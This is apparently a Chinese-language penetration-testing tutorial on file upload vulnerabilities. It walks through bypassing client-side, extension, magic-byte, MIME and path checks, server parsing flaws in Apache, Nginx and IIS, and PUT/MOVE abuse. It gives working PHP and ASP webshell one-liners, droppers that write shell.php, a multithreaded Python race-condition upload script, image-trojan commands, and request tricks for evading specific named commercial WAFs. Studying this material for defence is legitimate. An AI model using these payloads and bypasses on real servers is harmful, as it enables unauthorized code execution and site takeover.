简介
Web应用程序(但不限于)中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url解析执行代码。
文件上传绕过手法
客户端javascript校验及绕过
在上传页面里包含专门检测文件上传的javascript代码,最常见的就是检测扩展名是否合法。
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 | function check(){ var filename=document.getElementById("file"); var str=filename.value.split("."); var ext=str[str.length-1]; if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif'){ return true; }else{ alert("File type error") return false; } return false; } |
检测方法:选择一个禁止上传类型的文件上传,当点击上传按钮时,浏览器立即弹出提示禁止上传,且没有产生与服务器之间的流量。判断为前端检测。
绕过方法:
- 客户端校验是最无用的防御方法,攻击者将payload扩展名改名为正确上传文件,在上传时进行抓包,然后将文件扩展名改回来即可。
- 通过修改上传页面中javascript检测函数,将检测函数删除。(一般F12)
服务端校验及绕过
扩展名校验及绕过
在文件上传到服务器时,对文件扩展名进行检测,如果非法则拒绝上传
服务器文件扩展名检测分为:黑名单检测和白名单检测,后者安全性比前者高很多。
白名单示例代码:
1 2 3 4 5 6 7 | $postfix = end(explode('.','$_POST['filename']); if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){ //save the file and do something next } else { echo "invalid file type"; return; } |
仅允许指定的文件类型上传,上例代码中仅允许jpg|png|gif等类型的文件,其余全部禁止。
黑名单示例代码:
1 2 3 4 5 6 7 8 9 | $postfix = end(explode('.','$_POST['filename']); if($postfix=='php'||$postfix=='asp'||$postfix=='sh'){ echo "invalid file type"; return; } |
一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html|htm|php|php2|hph3|php4|php5|asp|aspx|ascx|jsp|cfm|cfc|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|phtm|shtm|inc|cdx|asa|cer 等等
绕过方法:
- 扩展名大小写:使用想AsP,PhP,pHp之类的绕过检测
- 黑名单扩展名的不完善:
- jsp jspx jspf
- asp asa cer aspx
- php php2 php3 php4
- exe exee
- %00截断[输出到该chr(0)字符时,后面的数据会被停止]:
- .php%00.jpg
- .asp%00.jpg
- .jsp%00.jpg
- 服务器解析漏洞:见下文
服务端文件头内容校验及绕过
文件头内容校验是对文件内容的验证机制,这种方法利用是每个特定类型的文件都会有不太一样的开头或者标志位,可以通过编写函数检测。
php代码示例:
1 2 3 4 | if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; return; } |
图片文件通常将头字节称为幻数,来看一下几种格式图片的幻数(二进制):
1 2 3 4 5 6 | JPG FF D8 FF E0 00 10 4A 46 49 46 GIF 47 49 46 38 39 61 (相当于文本的GIF89a) PNG 89 50 4E 47 |
通过检测头几位字节,可以辨认是否为图片文件,其余文件也有相应的头字节,如下表:
格式 | 文件头 |
---|---|
TIFF (tif) | 49 49 2A 00 |
Windows Bitmap (bmp) | 42 4D |
CAD (dwg) | 41 43 31 30 |
Adobe Photoshop (psd) | 38 42 50 53 |
Rich Text Format (rtf) | 7B 5C 72 74 66 |
MS Word/Excel (xls.or.doc) | D0 CF 11 E0 |
MS Access (mdb) | 53 74 61 6E 64 61 72 64 20 4A |
ZIP Archive (zip), | 50 4B 03 04 |
RAR Archive (rar), | 52 61 72 21 |
Wave (wav), | 57 41 56 45 |
AVI (avi), | 41 56 49 20 |
Real Media (rm), | 2E 52 4D 46 |
MPEG (mpg), | 00 00 01 BA |
MPEG (mpg), | 00 00 01 B3 |
Quicktime (mov), | 6D 6F 6F 76 |
Adobe Acrobat (pdf), | 25 50 44 46 2D 31 2E |
Windows Media (asf), | 30 26 B2 75 8E 66 CF 11 |
MIDI (mid), | 4D 54 68 64 |
绕过方法:
在一句话前面加上文件幻数,例如:
1 2 | GIF89a <?php eval($_POST["cmd"]);?> |
注意: 上传图片是如果有检测文件大小,图片文件的尺寸之类的信息。
伪造好文件幻数,添加一句话,在一句话之后填充其他的内容,增大文件的大小
服务端目录路径校验及绕过
原理:
上传数据包时,存在能够操作上传路径的参数,修改该参数配合解析漏洞,可以上传Webshell。
代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <?php error_reporting(0); if(isset($_POST['upload'])) { $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp'); $file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1); if(in_array($file_ext,$file_arr)) { $tempFile = $_FILES['file']['tmp_name']; //这里的$_REQUEST['jieduan']造成可以利用截断上传 $targePath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99). date('YmdHis').".".$file_ext; if(move_uploaded_file($tempFile,$targePath)) { echo '上传成功'.'<br>'; echo '路径'.$targePath; } else { echo("上传失败"); } } else { echo("上传失败"); } } ?> |
绕过示例:
此时文件会在将截断之前的文件上传,而内容依旧是.jpg的内容。从而绕过限制。
服务端MIME类型校验及绕过
MIME类型:浏览器接受各种类型内容以何种形式显示,就是通过MIME Type。更具体的说就是通过形如 Content-Type:text/HTML
通过编写检测文件MIME类型函数来限制文件类型,代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <?php if($_FILES['file']['type'] != "image/gif") { echo "Sorry, we only allow uploading GIF images"; exit; } $uploaddir = './'; $uploadfile = $uploaddir . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "File uploading failed.\n"; } ?> |
绕过方法:
通过Burp 代理抓包,将 Content-Type
修改为image/png
常见的MIME表:
类型 | 格式 |
---|---|
纯文本 | text/plain |
HTML文档 | text/html |
JS代码 | text/javascript |
XHTML文档 | application/xhtml+xml |
GIF图像 | image/gif |
JPEG图像 | image/jpeg |
PNG图像 | image/png |
MPEG动画 | video/mpeg |
二进制数据 | application/octet-stream |
PDF文档 | application/pdf |
语言的代码 | application/(编程语言) |
Microsoft Word文件 | application/msword |
RFC 822形式 | message/rfc822 |
HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示 | multipart/alternative |
POST方法提交的表单 | application/x-www-form-urlencoded |
POST提交时伴随文件上传的表单 | multipart/form-data |
服务器解析漏洞
解析漏洞一般都是为配置不当造成。
Apache解析漏洞
原理:
Apache解析文件的规则是从右往左开始判断解析,如果遇到apache没法识别的后缀名会自动忽略继而再往左判断。例如 1.php.grg.rar,其中”.grg”和”.rar”这两个后缀apache无法解析,就会把该文件解析为1.php
漏洞形式:
其余配置问题导致漏洞:
- 如果在Apache的conf里有这样一行配置
AddHandler php5-script .php
这是只要文件名里包含.php,即使文件名是1.php.jpg 也会以php执行。 - 如果在Apache的conf里有这样一行配置
AddType application/x-http-php .jpg
,一样能以php执行。
总结存在该漏洞的Apache版本:
1 2 | Apache 2.0.x<=2.0.59 Apache 2.2.x<=2.2.17 |
Nginx解析漏洞
原理:
访问URL为https://www.xxx.com/1.jpg/1.php
,Nginx会将该文件认定为php文件,$fastcgi_script_name
会被设置为”1.jpg/1.php“,然后交给php去处理,php解析1.jpg/1.php时找不到1.php,就删除/1.php继续解析1.jpg 文件存在,但无法解析,于是返回”Access denied“.上述操作是因为php中的选项cgi.fix_pathinfo
默认是开启。
为什么会出现”Access denied“? 因为在高版本的php中的php-fpm.conf
中加入了security.limit_extensions
限制可执行文件的后缀,低版本会直接解析。
如果在security.limit_extensions
中加入security.limit_extensions=.php .jpg
php就会把.jpg视为合法的php文件,然后解析
漏洞形式:
1 2 3 | http://www.xxx.com/1.jpg/1.php http://www.xxx.com/1.jpg%00.php http://www.xxx.com/1.jpg%20\0.php |
另一种上传手法:上传一个1.jpg,文件内容为:
1 | <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?> |
然后访问 1.jpg/.php,在该目录下就会生成一句话木马shell.php
同样可以结合图片木马进行操作
IIS 5.0-IIS6.0解析漏洞
IIS 5.0-IIS 6.0的解析漏洞有两种,一种是目录解析,另一种是文件解析。
目录解析:
在上传路径可控的情况下,将文件上传到形如 /xx.asp/ 或者 /xx.asa/目录下,在该目录下的文件都会被解析成asp文件。
漏洞形式:
文件解析:
IIS 6.0 默认不解析;号后面的内容,因此 xxx.asp;.jpg 会被解析成asp文件
漏洞形式:
1 2 3 4 | http://www.xxx.com/1.asp;.jpg http://www.xxx.com/1.asa;.jpg http://www.xxx.com/1.cer;.jpg http://www.xxx.com/1.cdx;.jpg |
IIS 7.0-IIS 7.5解析漏洞
IIS 7.0-IIS 7.5的解析漏洞其实和Nginx解析漏洞一样,并不是其本身存在漏洞,同样是cgi.fix_pathinfo
默认开启导致。利用方法和Nginx相同
服务器配置不当(开启PUT,MOVE,DELETE方法)
如果服务器开启了PUT,MOVE,DELETE等方法,可以直接向服务器任意写入 删除 移动 文件。
示例数据包
1 2 3 4 5 6 7 8 9 10 11 12 | # PUT包 PUT ./1.txt HTTP/1.1 HOST: xxx.xxx.com Content-Length:26 <%eval request("1")%> # MOVE包(如果对文件扩展名有限制,可能需要配合解析漏洞) PUT ./1.txt HTTP/1.1 HOST: xxx.xxx.com Destination:http://xxx.xxx.com/1.asp;jpg Content-Length:26 <%eval request("1")%> |
竞争上传
利用并发(短时间内)多次上传,在服务器来不及检测并删除文件之前,先去访问该文件,从而利用该文件向服务器写webshell。
检测代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success.file path is: ".$newfile."\n<br />"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); die("error:upload the file type is not allowed,delete the file!"); } ?> |
利用过程:
上传文件到服务器,服务器校验文件过程:
上传文件—>存储文件—>检测文件—>保留(合法)/删除(非法)—>返回数据包
这个过程对于我们的操作来说很短,在一秒内(甚至更少)完成。但是我们如果在上传文件与删除文件之间完成我们的访问操作,是否可以执行解析操作?
首先创建一个上传文件1.php,文件内容:
1 | <?php fputs(fopen("./shell.php","w"),'<?php @eval($_POST["cmd])?>')''?> |
构建一个多线程脚本,来访问上传的文件,在删除php文件之前,总会有那么一次访问到上传的php文件,一旦成功访问上传的文件,该文件会向服务器写一个webshell。(可能需要多试几次)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import os import requests import threading class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = "http://127.0.0.1:8080/upload/shell0.php" self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php" def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print("[*]create file info.php success") os._exit(0) def _upload(self): print("upload file.....") file = {"file":open("shell0.php","r")} requests.post(self.uploadUrl, files=file) def run(self): while True: for i in range(5): self._get() for i in range(10): self._upload() self._get() if __name__ == "__main__": threads = 20 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join() |
文件上传绕过WAF
文件上传过安全狗
删除 content-type
以及内容
在文件名
与.文件类型
之间回车
(新版本待测)
WAF图标:
文件上传过阿里云
示例:
1 2 3 4 5 6 7 8 9 | 原上传数据包: Content-Disposition:form-data;name="image";filename="1.php" 此时会拦截 绕过方法: Content-Disposition:form-data;name="image";filename ="1.php" filename="1.php" 在=前面回车 |
此时上传可以绕过
WAF图标:
文件上传过百度云
绕过文件名示例:
1 2 3 4 5 6 7 8 | 原上传数据包: Content-Disposition:form-data;name="image";filename="1.jpg.php" 此时此时会拦截 绕过方法: Content-Disposition:form-data;name="image";filename="1.jpg.php " 运用(文件名+php+回车) 成功绕过文件名检测 |
绕过文件内容示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | 原上传数据包: <?php @eval($_POST['a']);?> 此时再次被拦截 绕过方法: 使用图片合成的一句话木马进行上传(下文有介绍) 上传成功 [正常图片内容]+<?php @eval($_POST['a']);?> 发现上传失败 [正常图片内容]+数字+<?php @eval($_POST['a']);?> 发现上传失败 [正常图片内容]+英文+<?php @eval($_POST['a']);?> 发现上传失败 [正常图片内容]+中文+<?php @eval($_POST['a']);?> 发现上传成功 |
由此可以看出,在正常图片和一句话之间加入中文字符,可以绕过百度云WAF的文件内容校验
WAF图标:
文件上传过云锁
示例:
1 2 3 4 | Content-Disposition: form-data; name="up_picture"; filename="xxx. C.php" 在name和filename之间回车,在文件名和扩展名之间回车。(新版待测) |
WAF图标:
图片木马制作
1 2 3 4 5 6 7 8 9 10 11 12 13 | copy /b 图片路径名+木马路径名 例如: copy /b ./1.jpg+./2.php # 配合解析漏洞 copy xx.jpg/b + yy.txt/a xy.jpg /b 二进制[binary]模式 /a ascii模式 xx.jpg正常图片文件 yy.txt 内容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?> 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件 上传xy.jpg,然后访问/xy.jpg/xx.php 就会生成一句话 |
参考链接
点击数:106